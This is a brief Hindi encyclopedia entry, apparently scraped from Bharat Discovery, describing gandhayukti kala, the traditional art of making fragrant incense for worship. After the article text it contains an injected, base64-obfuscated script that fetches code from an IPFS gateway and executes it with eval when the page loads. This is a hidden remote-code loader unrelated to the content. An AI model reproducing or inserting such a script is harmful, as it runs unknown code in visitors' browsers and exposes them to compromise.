गन्धयुक्ति कला  

जयमंगल के मतानुसार चौंसठ कलाओं में से यह एक कला है। इस कला के अन्तर्गत सुगन्धित धूप बनाना आता है। सुगन्धित धूप का प्रयोग भगवान की पूजा करने में प्रयोग किया जाता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=गन्धयुक्ति_कला&oldid=225756" से लिया गया